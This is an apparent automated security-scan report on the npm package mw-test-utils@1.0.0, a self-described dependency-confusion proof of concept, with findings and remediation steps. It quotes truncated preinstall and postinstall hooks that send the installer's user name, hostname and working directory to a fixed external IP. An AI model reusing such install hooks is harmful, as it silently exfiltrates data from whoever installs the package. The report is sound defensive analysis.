mw-test-utils@1.0.0
Benign security placeholder / dependency-confusion PoC, no functional code. See Moveworks bug bounty report.
AI Security Review
scanned 9d ago · by lpm-firewall-aiThe lifecycle scripts automatically disclose identifying installation context to a publisher-selected endpoint without installer consent. The README’s stated bug-bounty purpose does not authorize that disclosure.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
The package’s preinstall or postinstall hook runs during installation.
Impact
The researcher endpoint receives identifying installation and project context from consumers resolving the package.
Mechanism
Each hook constructs an HTTP GET containing those environment and host details and sends it to the same fixed IP without a consent check.
Attack narrative
During installation, either lifecycle hook sends the user name, machine hostname, and working directory to a fixed researcher endpoint. The README describes the disclosure as part of a dependency-confusion proof, but the hooks run automatically and show no installer consent check.
AI rationale
The lifecycle scripts automatically disclose identifying installation context to a publisher-selected endpoint without installer consent. The README’s stated bug-bounty purpose does not authorize that disclosure.
Evidence
package.json
Network endpoints2
38.242.235.206/depconf/mw-test-utils/preinstall38.242.235.206/depconf/mw-test-utils/postinstall
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- Both install hooks automatically send the installer’s user name, hostname, and working directory to a fixed external IP; no consent check appears in either command.
- The README confirms that the install hooks report this information to a researcher server, but does not establish installer consent.
Evidence against
- The README describes the package as a dependency-confusion bug-bounty proof and says it has no functional code. That stated purpose does not guard the automatic disclosure.
Behavioral surface
Trivial
Source & flagged code
5 flaggedpackage.jsonView file
•scripts.preinstall = node -e "require('http').get('http://38.242.235.206/depconf/mw-test-utils/preinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'&h='+encodeURIComponent(req...
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.postinstall = node -e "require('http').get('http://38.242.235.206/depconf/mw-test-utils/postinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'&h='+encodeURIComponent(re...
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.postinstall = node -e "require('http').get('http://38.242.235.206/depconf/mw-test-utils/postinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'&h='+encodeURIComponent(re...
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkgFindings
2 Critical3 High1 Low
CriticalRed Install Lifecycle Scriptpackage.json
CriticalRed Install Lifecycle Scriptpackage.json
HighInstall Time Lifecycle Scriptspackage.json
HighSuspicious Lifecycle Evidencepackage.json
HighSuspicious Lifecycle EvidenceREADME.md
LowScripts Present
Affected versions and remediation
This report applies to mw-test-utils@1.0.0.
See all versions of mw-test-utils for other recorded verdicts.
- Avoid installing mw-test-utils@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.